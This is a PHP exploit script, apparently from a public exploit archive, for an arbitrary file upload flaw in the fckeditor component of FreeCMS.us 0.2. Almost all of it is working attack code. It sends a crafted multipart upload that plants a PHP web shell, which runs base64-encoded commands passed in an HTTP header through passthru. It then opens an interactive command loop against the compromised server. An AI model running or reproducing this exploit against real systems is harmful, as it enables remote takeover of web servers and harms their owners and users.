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<?php /* -------------------------------------------------------------- FreeCMS.us 0.2 (fckeditor) Arbitrary File Upload Exploit -------------------------------------------------------------- By : Stack Special thnx for : Egix [-] vulnerable code in /[path]/admin/fckeditor/editor/filemanager/upload/php/upload.php with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious PHP code */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { $sock = fsockopen($host, 80); while (!$sock) { print "\n[-] No response from {$host}:80 Trying again..."; $sock = fsockopen($host, 80); } fputs($sock, $packet); while (!feof($sock)) $resp .= fread($sock, 1024); fclose($sock); return $resp; } print "\n+------------------------------------------------------------+"; print "\n|File Upload Exploit by Stack |"; print "\n+------------------------------------------------------------+\n"; if ($argc < 2) { print "\nUsage......: php $argv[0] host path"; print "\nExample....: php $argv[0] localhost /booking_calendar/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $data = "--12345\r\n"; $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"s.php.he.ll\"\r\n"; $data .= "Content-Type: application/octet-stream\r\n\r\n"; $data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\n"; $data .= "--12345--\r\n"; $packet = "POST {$path}/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($data)."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=12345\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet .= $data; preg_match("/OnUploadCompleted\((.*),\"(.*)\",\"(.*)\",/i", http_send($host, $packet), $html); if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]})\n"); else print "\n[-] Shell uploaded to {$html[2]}...starting it!\n"; define(STDIN, fopen("php://stdin", "r")); while(1) { print "\nstack-shell# "; $cmd = trim(fgets(STDIN)); if ($cmd != "exit") { $packet = "GET {$path}datacenter/media/{$html[3]} HTTP/1.0\r\n"; $packet.= "Host: {$host}\r\n"; $packet.= "Cmd: ".base64_encode($cmd)."\r\n"; $packet.= "Connection: close\r\n\r\n"; $output = http_send($host, $packet); if (eregi("print", $output) || !eregi("_code_", $output)) die("\n[-] Exploit failed...\n"); $shell = explode("_code_", $output); print "\n{$shell[1]}"; } else break; } ?>
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